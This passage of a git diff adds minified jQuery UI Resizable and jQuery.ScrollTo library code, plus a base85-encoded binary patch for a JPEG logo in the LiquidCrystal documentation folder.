this._mouseUp(j)}if(this._mouseStarted){this._mouseDrag(j);return j.preventDefault()}if(this._mouseDistanceMet(j)&&this._mouseDelayMet(j)){this._mouseStarted=(this._mouseStart(this._mouseDownEvent,j)!==false);(this._mouseStarted?this._mouseDrag(j):this._mouseUp(j))}return !this._mouseStarted},_mouseUp:function(j){c(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;this._preventClickEvent=(j.target==this._mouseDownEvent.target);this._mouseStop(j)}return false},_mouseDistanceMet:function(j){return(Math.max(Math.abs(this._mouseDownEvent.pageX-j.pageX),Math.abs(this._mouseDownEvent.pageY-j.pageY))>=this.options.distance)},_mouseDelayMet:function(j){return this.mouseDelayMet},_mouseStart:function(j){},_mouseDrag:function(j){},_mouseStop:function(j){},_mouseCapture:function(j){return true}};c.ui.mouse.defaults={cancel:null,distance:1,delay:0}})(jQuery);;/* * jQuery UI Resizable 1.7.2 + * + * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT (MIT-LICENSE.txt) + * and GPL (GPL-LICENSE.txt) licenses. + * + * http://docs.jquery.com/UI/Resizables + * + * Depends: + * ui.core.js + */ +(function(c){c.widget("ui.resizable",c.extend({},c.ui.mouse,{_init:function(){var e=this,j=this.options;this.element.addClass("ui-resizable");c.extend(this,{_aspectRatio:!!(j.aspectRatio),aspectRatio:j.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:j.helper||j.ghost||j.animate?j.helper||"ui-resizable-helper":null});if(this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)){if(/relative/.test(this.element.css("position"))&&c.browser.opera){this.element.css({position:"relative",top:"auto",left:"auto"})}this.element.wrap(c('
').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle=this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=j.handles||(!c(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all"){this.handles="n,e,s,w,se,sw,ne,nw"}var k=this.handles.split(",");this.handles={};for(var f=0;f
');if(/sw|se|ne|nw/.test(h)){g.css({zIndex:++j.zIndex})}if("se"==h){g.addClass("ui-icon ui-icon-gripsmall-diagonal-se")}this.handles[h]=".ui-resizable-"+h;this.element.append(g)}}this._renderAxis=function(p){p=p||this.element;for(var m in this.handles){if(this.handles[m].constructor==String){this.handles[m]=c(this.handles[m],this.element).show()}if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var n=c(this.handles[m],this.element),o=0;o=/sw|ne|nw|se|n|s/.test(m)?n.outerHeight():n.outerWidth();var l=["padding",/ne|nw|n/.test(m)?"Top":/se|sw|s/.test(m)?"Bottom":/^e$/.test(m)?"Right":"Left"].join("");p.css(l,o);this._proportionallyResize()}if(!c(this.handles[m]).length){continue}}};this._renderAxis(this.element);this._handles=c(".ui-resizable-handle",this.element).disableSelection();this._handles.mouseover(function(){if(!e.resizing){if(this.className){var i=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)}e.axis=i&&i[1]?i[1]:"se"}});if(j.autoHide){this._handles.hide();c(this.element).addClass("ui-resizable-autohide").hover(function(){c(this).removeClass("ui-resizable-autohide");e._handles.show()},function(){if(!e.resizing){c(this).addClass("ui-resizable-autohide");e._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var d=function(f){c(f).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){d(this.element);var e=this.element;e.parent().append(this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")})).end().remove()}this.originalElement.css("resize",this.originalResizeStyle);d(this.originalElement)},_mouseCapture:function(e){var f=false;for(var d in this.handles){if(c(this.handles[d])[0]==e.target){f=true}}return this.options.disabled||!!f},_mouseStart:function(f){var i=this.options,e=this.element.position(),d=this.element;this.resizing=true;this.documentScroll={top:c(document).scrollTop(),left:c(document).scrollLeft()};if(d.is(".ui-draggable")||(/absolute/).test(d.css("position"))){d.css({position:"absolute",top:e.top,left:e.left})}if(c.browser.opera&&(/relative/).test(d.css("position"))){d.css({position:"relative",top:"auto",left:"auto"})}this._renderProxy();var j=b(this.helper.css("left")),g=b(this.helper.css("top"));if(i.containment){j+=c(i.containment).scrollLeft()||0;g+=c(i.containment).scrollTop()||0}this.offset=this.helper.offset();this.position={left:j,top:g};this.size=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalSize=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalPosition={left:j,top:g};this.sizeDiff={width:d.outerWidth()-d.width(),height:d.outerHeight()-d.height()};this.originalMousePosition={left:f.pageX,top:f.pageY};this.aspectRatio=(typeof i.aspectRatio=="number")?i.aspectRatio:((this.originalSize.width/this.originalSize.height)||1);var h=c(".ui-resizable-"+this.axis).css("cursor");c("body").css("cursor",h=="auto"?this.axis+"-resize":h);d.addClass("ui-resizable-resizing");this._propagate("start",f);return true},_mouseDrag:function(d){var g=this.helper,f=this.options,l={},p=this,i=this.originalMousePosition,m=this.axis;var q=(d.pageX-i.left)||0,n=(d.pageY-i.top)||0;var h=this._change[m];if(!h){return false}var k=h.apply(this,[d,q,n]),j=c.browser.msie&&c.browser.version<7,e=this.sizeDiff;if(this._aspectRatio||d.shiftKey){k=this._updateRatio(k,d)}k=this._respectSize(k,d);this._propagate("resize",d);g.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});if(!this._helper&&this._proportionallyResizeElements.length){this._proportionallyResize()}this._updateCache(k);this._trigger("resize",d,this.ui());return false},_mouseStop:function(g){this.resizing=false;var h=this.options,l=this;if(this._helper){var f=this._proportionallyResizeElements,d=f.length&&(/textarea/i).test(f[0].nodeName),e=d&&c.ui.hasScroll(f[0],"left")?0:l.sizeDiff.height,j=d?0:l.sizeDiff.width;var m={width:(l.size.width-j),height:(l.size.height-e)},i=(parseInt(l.element.css("left"),10)+(l.position.left-l.originalPosition.left))||null,k=(parseInt(l.element.css("top"),10)+(l.position.top-l.originalPosition.top))||null;if(!h.animate){this.element.css(c.extend(m,{top:k,left:i}))}l.helper.height(l.size.height);l.helper.width(l.size.width);if(this._helper&&!h.animate){this._proportionallyResize()}}c("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop",g);if(this._helper){this.helper.remove()}return false},_updateCache:function(d){var e=this.options;this.offset=this.helper.offset();if(a(d.left)){this.position.left=d.left}if(a(d.top)){this.position.top=d.top}if(a(d.height)){this.size.height=d.height}if(a(d.width)){this.size.width=d.width}},_updateRatio:function(g,f){var h=this.options,i=this.position,e=this.size,d=this.axis;if(g.height){g.width=(e.height*this.aspectRatio)}else{if(g.width){g.height=(e.width/this.aspectRatio)}}if(d=="sw"){g.left=i.left+(e.width-g.width);g.top=null}if(d=="nw"){g.top=i.top+(e.height-g.height);g.left=i.left+(e.width-g.width)}return g},_respectSize:function(k,f){var i=this.helper,h=this.options,q=this._aspectRatio||f.shiftKey,p=this.axis,s=a(k.width)&&h.maxWidth&&(h.maxWidthk.width),r=a(k.height)&&h.minHeight&&(h.minHeight>k.height);if(g){k.width=h.minWidth}if(r){k.height=h.minHeight}if(s){k.width=h.maxWidth}if(l){k.height=h.maxHeight}var e=this.originalPosition.left+this.originalSize.width,n=this.position.top+this.size.height;var j=/sw|nw|w/.test(p),d=/nw|ne|n/.test(p);if(g&&j){k.left=e-h.minWidth}if(s&&j){k.left=e-h.maxWidth}if(r&&d){k.top=n-h.minHeight}if(l&&d){k.top=n-h.maxHeight}var m=!k.width&&!k.height;if(m&&!k.left&&k.top){k.top=null}else{if(m&&!k.top&&k.left){k.left=null}}return k},_proportionallyResize:function(){var j=this.options;if(!this._proportionallyResizeElements.length){return}var f=this.helper||this.element;for(var e=0;e');var d=c.browser.msie&&c.browser.version<7,f=(d?1:0),g=(d?2:-1);this.helper.addClass(this._helper).css({width:this.element.outerWidth()+g,height:this.element.outerHeight()+g,position:"absolute",left:this.elementOffset.left-f+"px",top:this.elementOffset.top-f+"px",zIndex:++h.zIndex});this.helper.appendTo("body").disableSelection()}else{this.helper=this.element}},_change:{e:function(f,e,d){return{width:this.originalSize.width+e}},w:function(g,e,d){var i=this.options,f=this.originalSize,h=this.originalPosition;return{left:h.left+e,width:f.width-e}},n:function(g,e,d){var i=this.options,f=this.originalSize,h=this.originalPosition;return{top:h.top+d,height:f.height-d}},s:function(f,e,d){return{height:this.originalSize.height+d}},se:function(f,e,d){return c.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[f,e,d]))},sw:function(f,e,d){return c.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[f,e,d]))},ne:function(f,e,d){return c.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[f,e,d]))},nw:function(f,e,d){return c.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[f,e,d]))}},_propagate:function(e,d){c.ui.plugin.call(this,e,[d,this.ui()]);(e!="resize"&&this._trigger(e,d,this.ui()))},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}));c.extend(c.ui.resizable,{version:"1.7.2",eventPrefix:"resize",defaults:{alsoResize:false,animate:false,animateDuration:"slow",animateEasing:"swing",aspectRatio:false,autoHide:false,cancel:":input,option",containment:false,delay:0,distance:1,ghost:false,grid:false,handles:"e,s,se",helper:false,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:1000}});c.ui.plugin.add("resizable","alsoResize",{start:function(e,f){var d=c(this).data("resizable"),g=d.options;_store=function(h){c(h).each(function(){c(this).data("resizable-alsoresize",{width:parseInt(c(this).width(),10),height:parseInt(c(this).height(),10),left:parseInt(c(this).css("left"),10),top:parseInt(c(this).css("top"),10)})})};if(typeof(g.alsoResize)=="object"&&!g.alsoResize.parentNode){if(g.alsoResize.length){g.alsoResize=g.alsoResize[0];_store(g.alsoResize)}else{c.each(g.alsoResize,function(h,i){_store(h)})}}else{_store(g.alsoResize)}},resize:function(f,h){var e=c(this).data("resizable"),i=e.options,g=e.originalSize,k=e.originalPosition;var j={height:(e.size.height-g.height)||0,width:(e.size.width-g.width)||0,top:(e.position.top-k.top)||0,left:(e.position.left-k.left)||0},d=function(l,m){c(l).each(function(){var p=c(this),q=c(this).data("resizable-alsoresize"),o={},n=m&&m.length?m:["width","height","top","left"];c.each(n||["width","height","top","left"],function(r,t){var s=(q[t]||0)+(j[t]||0);if(s&&s>=0){o[t]=s||null}});if(/relative/.test(p.css("position"))&&c.browser.opera){e._revertToRelativePosition=true;p.css({position:"absolute",top:"auto",left:"auto"})}p.css(o)})};if(typeof(i.alsoResize)=="object"&&!i.alsoResize.nodeType){c.each(i.alsoResize,function(l,m){d(l,m)})}else{d(i.alsoResize)}},stop:function(e,f){var d=c(this).data("resizable");if(d._revertToRelativePosition&&c.browser.opera){d._revertToRelativePosition=false;el.css({position:"relative"})}c(this).removeData("resizable-alsoresize-start")}});c.ui.plugin.add("resizable","animate",{stop:function(h,m){var n=c(this).data("resizable"),i=n.options;var g=n._proportionallyResizeElements,d=g.length&&(/textarea/i).test(g[0].nodeName),e=d&&c.ui.hasScroll(g[0],"left")?0:n.sizeDiff.height,k=d?0:n.sizeDiff.width;var f={width:(n.size.width-k),height:(n.size.height-e)},j=(parseInt(n.element.css("left"),10)+(n.position.left-n.originalPosition.left))||null,l=(parseInt(n.element.css("top"),10)+(n.position.top-n.originalPosition.top))||null;n.element.animate(c.extend(f,l&&j?{top:l,left:j}:{}),{duration:i.animateDuration,easing:i.animateEasing,step:function(){var o={width:parseInt(n.element.css("width"),10),height:parseInt(n.element.css("height"),10),top:parseInt(n.element.css("top"),10),left:parseInt(n.element.css("left"),10)};if(g&&g.length){c(g[0]).css({width:o.width,height:o.height})}n._updateCache(o);n._propagate("resize",h)}})}});c.ui.plugin.add("resizable","containment",{start:function(e,q){var s=c(this).data("resizable"),i=s.options,k=s.element;var f=i.containment,j=(f instanceof c)?f.get(0):(/parent/.test(f))?k.parent().get(0):f;if(!j){return}s.containerElement=c(j);if(/document/.test(f)||f==document){s.containerOffset={left:0,top:0};s.containerPosition={left:0,top:0};s.parentData={element:c(document),left:0,top:0,width:c(document).width(),height:c(document).height()||document.body.parentNode.scrollHeight}}else{var m=c(j),h=[];c(["Top","Right","Left","Bottom"]).each(function(p,o){h[p]=b(m.css("padding"+o))});s.containerOffset=m.offset();s.containerPosition=m.position();s.containerSize={height:(m.innerHeight()-h[3]),width:(m.innerWidth()-h[1])};var n=s.containerOffset,d=s.containerSize.height,l=s.containerSize.width,g=(c.ui.hasScroll(j,"left")?j.scrollWidth:l),r=(c.ui.hasScroll(j)?j.scrollHeight:d);s.parentData={element:j,left:n.left,top:n.top,width:g,height:r}}},resize:function(f,p){var s=c(this).data("resizable"),h=s.options,e=s.containerSize,n=s.containerOffset,l=s.size,m=s.position,q=s._aspectRatio||f.shiftKey,d={top:0,left:0},g=s.containerElement;if(g[0]!=document&&(/static/).test(g.css("position"))){d=n}if(m.left<(s._helper?n.left:0)){s.size.width=s.size.width+(s._helper?(s.position.left-n.left):(s.position.left-d.left));if(q){s.size.height=s.size.width/h.aspectRatio}s.position.left=h.helper?n.left:0}if(m.top<(s._helper?n.top:0)) +{s.size.height=s.size.height+(s._helper?(s.position.top-n.top):s.position.top);if(q){s.size.width=s.size.height*h.aspectRatio}s.position.top=s._helper?n.top:0}s.offset.left=s.parentData.left+s.position.left;s.offset.top=s.parentData.top+s.position.top;var k=Math.abs((s._helper?s.offset.left-d.left:(s.offset.left-d.left))+s.sizeDiff.width),r=Math.abs((s._helper?s.offset.top-d.top:(s.offset.top-n.top))+s.sizeDiff.height);var j=s.containerElement.get(0)==s.element.parent().get(0),i=/relative|absolute/.test(s.containerElement.css("position"));if(j&&i){k-=s.parentData.left}if(k+s.size.width>=s.parentData.width){s.size.width=s.parentData.width-k;if(q){s.size.height=s.size.width/s.aspectRatio}}if(r+s.size.height>=s.parentData.height){s.size.height=s.parentData.height-r;if(q){s.size.width=s.size.height*s.aspectRatio}}},stop:function(e,m){var p=c(this).data("resizable"),f=p.options,k=p.position,l=p.containerOffset,d=p.containerPosition,g=p.containerElement;var i=c(p.helper),q=i.offset(),n=i.outerWidth()-p.sizeDiff.width,j=i.outerHeight()-p.sizeDiff.height;if(p._helper&&!f.animate&&(/relative/).test(g.css("position"))){c(this).css({left:q.left-d.left-l.left,width:n,height:j})}if(p._helper&&!f.animate&&(/static/).test(g.css("position"))){c(this).css({left:q.left-d.left-l.left,width:n,height:j})}}});c.ui.plugin.add("resizable","ghost",{start:function(f,g){var d=c(this).data("resizable"),h=d.options,e=d.size;d.ghost=d.originalElement.clone();d.ghost.css({opacity:0.25,display:"block",position:"relative",height:e.height,width:e.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof h.ghost=="string"?h.ghost:"");d.ghost.appendTo(d.helper)},resize:function(e,f){var d=c(this).data("resizable"),g=d.options;if(d.ghost){d.ghost.css({position:"relative",height:d.size.height,width:d.size.width})}},stop:function(e,f){var d=c(this).data("resizable"),g=d.options;if(d.ghost&&d.helper){d.helper.get(0).removeChild(d.ghost.get(0))}}});c.ui.plugin.add("resizable","grid",{resize:function(d,l){var n=c(this).data("resizable"),g=n.options,j=n.size,h=n.originalSize,i=n.originalPosition,m=n.axis,k=g._aspectRatio||d.shiftKey;g.grid=typeof g.grid=="number"?[g.grid,g.grid]:g.grid;var f=Math.round((j.width-h.width)/(g.grid[0]||1))*(g.grid[0]||1),e=Math.round((j.height-h.height)/(g.grid[1]||1))*(g.grid[1]||1);if(/^(se|s|e)$/.test(m)){n.size.width=h.width+f;n.size.height=h.height+e}else{if(/^(ne)$/.test(m)){n.size.width=h.width+f;n.size.height=h.height+e;n.position.top=i.top-e}else{if(/^(sw)$/.test(m)){n.size.width=h.width+f;n.size.height=h.height+e;n.position.left=i.left-f}else{n.size.width=h.width+f;n.size.height=h.height+e;n.position.top=i.top-e;n.position.left=i.left-f}}}}});var b=function(d){return parseInt(d,10)||0};var a=function(d){return !isNaN(parseInt(d,10))}})(jQuery);; +/** + * jQuery.ScrollTo - Easy element scrolling using jQuery. + * Copyright (c) 2008 Ariel Flesler - aflesler(at)gmail(dot)com + * Licensed under GPL license (http://www.opensource.org/licenses/gpl-license.php). + * Date: 2/8/2008 + * @author Ariel Flesler + * @version 1.3.2 + */ +;(function($){var o=$.scrollTo=function(a,b,c){o.window().scrollTo(a,b,c)};o.defaults={axis:'y',duration:1};o.window=function(){return $($.browser.safari?'body':'html')};$.fn.scrollTo=function(l,m,n){if(typeof m=='object'){n=m;m=0}n=$.extend({},o.defaults,n);m=m||n.speed||n.duration;n.queue=n.queue&&n.axis.length>1;if(n.queue)m/=2;n.offset=j(n.offset);n.over=j(n.over);return this.each(function(){var a=this,b=$(a),t=l,c,d={},w=b.is('html,body');switch(typeof t){case'number':case'string':if(/^([+-]=)?\d+(px)?$/.test(t)){t=j(t);break}t=$(t,this);case'object':if(t.is||t.style)c=(t=$(t)).offset()}$.each(n.axis.split(''),function(i,f){var P=f=='x'?'Left':'Top',p=P.toLowerCase(),k='scroll'+P,e=a[k],D=f=='x'?'Width':'Height';if(c){d[k]=c[p]+(w?0:e-b.offset()[p]);if(n.margin){d[k]-=parseInt(t.css('margin'+P))||0;d[k]-=parseInt(t.css('border'+P+'Width'))||0}d[k]+=n.offset[p]||0;if(n.over[p])d[k]+=t[D.toLowerCase()]()*n.over[p]}else d[k]=t[p];if(/^\d+$/.test(d[k]))d[k]=d[k]<=0?0:Math.min(d[k],h(D));if(!i&&n.queue){if(e!=d[k])g(n.onAfterFirst);delete d[k]}});g(n.onAfter);function g(a){b.animate(d,m,n.easing,a&&function(){a.call(this,l)})};function h(D){var b=w?$.browser.opera?document.body:document.documentElement:a;return b['scroll'+D]-b['client'+D]}})};function j(a){return typeof a=='object'?a:{top:a,left:a}}})(jQuery); + diff --git a/libraries/LiquidCrystal/docs/html/logoGoogle.jpg b/libraries/LiquidCrystal/docs/html/logoGoogle.jpg new file mode 100644 index 0000000000000000000000000000000000000000..28f6ae16ac04311c6f63cb6bdd49a604a77d611b GIT binary patch literal 17184 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 